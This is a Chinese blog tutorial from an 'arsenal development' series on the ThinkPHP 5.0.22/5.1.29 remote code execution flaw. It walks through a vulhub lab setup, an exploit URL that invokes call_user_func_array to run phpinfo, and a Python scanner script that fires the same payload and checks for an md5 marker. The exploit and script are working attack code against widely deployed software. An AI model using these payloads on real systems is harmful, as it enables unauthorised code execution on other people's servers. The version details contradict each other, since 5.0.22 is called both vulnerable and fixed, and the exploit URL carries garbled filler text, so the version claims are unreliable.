Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:
python
docker-compose up -d
然后我们在浏览器输入 https://localhost:8082
就可以访问靶场环境
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理
ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。
该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。
攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC
接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:
python
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写
现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:
python
#!/usr/bin/env python
import requests
from urllib.parse import urljoin
def thinkphp5x_rce(url):
poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
payload = urljoin(url,poc)
response = requests.get(url=payload,verify=False)
if '31664625b85cc0cf91406a4e028ede29' in response.text:
print('漏洞存在')
else:
print('漏洞不存在')
if __name__ == '__main__':
url = 'http://localhost:8082/'
thinkphp5x_rce(url)
POC代码详细分析
以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:
-
#!/usr/bin/env python
:指定脚本使用的解释器为Python。 -
import requests
:导入requests
模块,用于发送HTTP请求。 -
from urllib.parse import urljoin
:导入urljoin
函数,用于拼接URL。 -
def thinkphp5x_rce(url)
::定义一个名为thinkphp5x_rce
的函数,接受一个参数url
。 -
poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
:定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。 -
payload = urljoin(url,poc)
:使用urljoin
函数拼接url
和poc
,生成完整的URL。 -
response =requests.get(url=payload,verify=False)
:使用requests.get
发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。 -
if '31664625b85cc0cf91406a4e028ede29' in response.text
::检查response.text
中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29
。 -
print('漏洞存在')
:如果特定字符串存在,则输出"漏洞存在"。 -
else
::如果特定字符串不存在。 -
print('漏洞不存在')
:输出"漏洞不存在"。 -
if __name__ == '__main__':
:判断当前模块是否作为主程序运行。 -
url = 'http://localhost:8082/'
:定义一个名为url
的变量,存储目标URL地址。 -
thinkphp5x_rce(url)
:调用thinkphp5x_rce
函数,并传递url
作为参数。
运行效果图
如下是我们这串代码的实际运行效果图: